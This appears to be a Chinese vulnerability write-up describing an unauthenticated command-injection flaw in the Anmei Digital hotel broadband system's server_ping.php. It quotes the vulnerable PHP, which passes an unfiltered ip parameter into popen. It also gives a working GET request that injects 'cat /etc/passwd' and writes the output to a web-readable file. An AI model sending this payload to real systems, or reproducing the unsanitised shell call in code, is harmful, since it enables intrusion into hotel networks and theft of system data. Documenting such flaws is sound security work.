# 安美数字 酒店宽带运营系统 server_ping.php 远程命令执行漏洞
# 漏洞描述
安美数字 酒店宽带运营系统 server_ping.php 存在远程命令执行漏洞，漏洞文件中ip参数未过滤造成命令执行
# 漏洞影响
# 网络测绘
# 漏洞复现
登录页面如下
存在漏洞的文件为 server_ping.php
<?
if (!isset($ip) || $ip == "" || !isset($id) || $id == "") exit;
$cmd = "ping -c 2 -s 65 $ip";
$fp = popen($cmd, "r");
$getString = "";
if ($fp) {
while (($line = fgets($fp, 512))) {
$getString .= trim($line);
}
pclose($fp);
}
if (strstr($getString, "2 received, 0%")) {
echo "<html><body><script language=\"javascript\">\n";
echo "parent.doTestResult('$id', 'ok');\n";
echo "</script></body></html>\n";
} else {
echo "<html><body><script language=\"javascript\">\n";
echo "parent.doTestResult('$id', 'no');\n";
echo "</script></body></html>\n";
}
?>
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$cmd = "ping -c 2 -s 65 $ip";
$fp = popen($cmd, "r");
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GET传入 $ip参数 后直接命令执行，并且文件无权限要求
请求包为
GET /manager/radius/server_ping.php?ip=127.0.0.1|cat%20/etc/passwd>../../test.txt&id=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
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